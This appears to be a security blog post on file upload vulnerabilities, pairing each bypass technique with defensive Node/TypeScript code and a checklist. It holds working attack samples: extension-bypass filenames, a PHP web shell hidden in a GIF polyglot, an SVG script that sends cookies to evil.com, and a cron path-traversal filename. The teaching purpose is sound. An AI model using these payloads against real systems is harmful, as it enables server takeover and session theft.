Application Security
file upload
web shell
bypass
rce
+3 more

File Upload Vulnerabilities: Bypass Techniques & Bulletproof Defenses

SCRs Team
February 23, 2026
14 min read
Share

Why File Uploads Are the Most Dangerous Feature

File upload is one of the most exploited web application features. A successful upload bypass can lead to Remote Code Execution (RCE) — giving an attacker full control of your server.

Upload AttackImpact
Web shell uploadFull server compromise
Stored XSS via SVG/HTMLAccount hijacking
Server-Side Request Forgery via SVGInternal network access
Path traversal in filenameOverwrite critical files
Zip bomb / decompression bombDenial of service
Polyglot files (GIFAR)Bypass content-type checks

Bypass Technique 1: Extension Manipulation

# Server blocks .php — try these:
shell.php.jpg          # Double extension
shell.php%00.jpg       # Null byte (older systems)
shell.pHp              # Case variation
shell.php5             # Alternative extension
shell.phtml            # Alternative extension
shell.php.            # Trailing dot (Windows)
shell.php::$DATA       # NTFS alternate data stream (Windows)
shell.php%0a           # Newline character
shell.p.h.p            # Dot insertion

Defense: Allowlist Extensions + Generate New Filenames

import path from 'path';
import crypto from 'crypto';

const ALLOWED_EXTENSIONS = new Set(['.jpg', '.jpeg', '.png', '.gif', '.webp', '.pdf']);

function validateAndRename(originalName: string): string {
  // Normalize and get extension
  const ext = path.extname(originalName).toLowerCase();
  
  // ✅ Strict allowlist
  if (!ALLOWED_EXTENSIONS.has(ext)) {
    throw new Error('File type not allowed');
  }
  
  // ✅ Generate new random filename (never use original name)
  const newName = crypto.randomUUID() + ext;
  return newName;
}

Bypass Technique 2: Content-Type Spoofing

# Server checks Content-Type header — but it's client-controlled!
curl -X POST https://target.com/upload \
  -F "file=@shell.php;type=image/jpeg"
  
# Burp Suite: Intercept upload, change Content-Type to image/jpeg

Defense: Verify Magic Bytes (File Signature)

import { fileTypeFromBuffer } from 'file-type';

async function validateFileContent(buffer: Buffer): Promise<string> {
  const type = await fileTypeFromBuffer(buffer);
  
  if (!type) throw new Error('Unknown file type');
  
  const ALLOWED_MIMES = new Set([
    'image/jpeg', 'image/png', 'image/gif', 'image/webp', 'application/pdf'
  ]);
  
  if (!ALLOWED_MIMES.has(type.mime)) {
    throw new Error(\`File type ${type.mime} not allowed\`);
  }
  
  return type.ext;
}

Bypass Technique 3: Polyglot Files

A polyglot file is valid as multiple file types simultaneously. A GIFAR is both a valid GIF and a valid JAR.

# Create a GIF that's also valid PHP
# GIF magic bytes: GIF89a
echo -e 'GIF89a\n<?php system($_GET["cmd"]); ?>' > polyglot.gif

# The file passes image validation but executes as PHP if served with .php extension

Defense: Re-encode Images

import sharp from 'sharp';

async function sanitizeImage(buffer: Buffer): Promise<Buffer> {
  // ✅ Re-encoding strips any embedded code
  return sharp(buffer)
    .jpeg({ quality: 90 })  // Force re-encode as JPEG
    .toBuffer();
  // The output is a clean JPEG — no embedded PHP, no XSS, no metadata
}

Bypass Technique 4: SVG XSS

SVG files are XML that can contain JavaScript:

<!-- malicious.svg — Stored XSS when rendered in browser -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    fetch('https://evil.com/steal?c=' + document.cookie)
  </script>
</svg>

Defense: Strip SVG Scripts or Block SVGs Entirely

// Option 1: Block SVG uploads entirely (recommended)
// Option 2: Serve with Content-Type: image/svg+xml AND
//   Content-Security-Policy: script-src 'none'
//   Content-Disposition: attachment (force download, no render)

Bypass Technique 5: Path Traversal in Filename

# Filename: ../../../etc/cron.d/backdoor
# If the server uses the original filename without sanitization,
# the file could be written to a dangerous location

Defense: Strip Path Components

function sanitizeFilename(filename: string): string {
  // Remove path components
  const base = path.basename(filename);
  // Remove special characters
  const clean = base.replace(/[^a-zA-Z0-9._-]/g, '');
  // Better: don't use original filename at all
  return crypto.randomUUID() + path.extname(clean).toLowerCase();
}

Complete Secure Upload Implementation

import multer from 'multer';
import sharp from 'sharp';
import { fileTypeFromBuffer } from 'file-type';
import crypto from 'crypto';
import { S3Client, PutObjectCommand } from '@aws-sdk/client-s3';

const ALLOWED_TYPES = new Map([
  ['image/jpeg', '.jpg'],
  ['image/png', '.png'],
  ['image/webp', '.webp'],
  ['application/pdf', '.pdf'],
]);

const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB

const upload = multer({
  storage: multer.memoryStorage(),
  limits: { fileSize: MAX_FILE_SIZE, files: 1 },
});

app.post('/upload', upload.single('file'), async (req, res) => {
  if (!req.file) return res.status(400).json({ error: 'No file' });
  
  let buffer = req.file.buffer;
  
  // Step 1: Verify magic bytes
  const type = await fileTypeFromBuffer(buffer);
  if (!type || !ALLOWED_TYPES.has(type.mime)) {
    return res.status(400).json({ error: 'File type not allowed' });
  }
  
  // Step 2: Re-encode images (strips embedded code)
  if (type.mime.startsWith('image/')) {
    buffer = await sharp(buffer)
      .resize(2000, 2000, { fit: 'inside', withoutEnlargement: true })
      .jpeg({ quality: 85 })
      .toBuffer();
  }
  
  // Step 3: Generate random filename
  const filename = crypto.randomUUID() + '.jpg';
  
  // Step 4: Upload to separate domain/bucket
  await s3.send(new PutObjectCommand({
    Bucket: process.env.UPLOAD_BUCKET,
    Key: \`uploads/${filename}\`,
    Body: buffer,
    ContentType: 'image/jpeg',
    ContentDisposition: 'inline',
  }));
  
  // Step 5: Return CDN URL (separate from app domain)
  const url = \`https://cdn.myapp.com/uploads/${filename}\`;
  res.json({ url });
});

Upload Security Checklist

  • Allowlist file extensions (never blocklist)
  • Verify magic bytes with file-type library
  • Re-encode images with sharp/ImageMagick (strips payloads)
  • Generate random filenames (never use originals)
  • Store uploads on separate domain/CDN (prevents cookie access)
  • Set Content-Disposition and correct Content-Type headers
  • Size limits enforced server-side
  • Virus scanning for non-image uploads (ClamAV)
  • No execution permissions on upload directory
  • Rate limiting on upload endpoints

Advertisement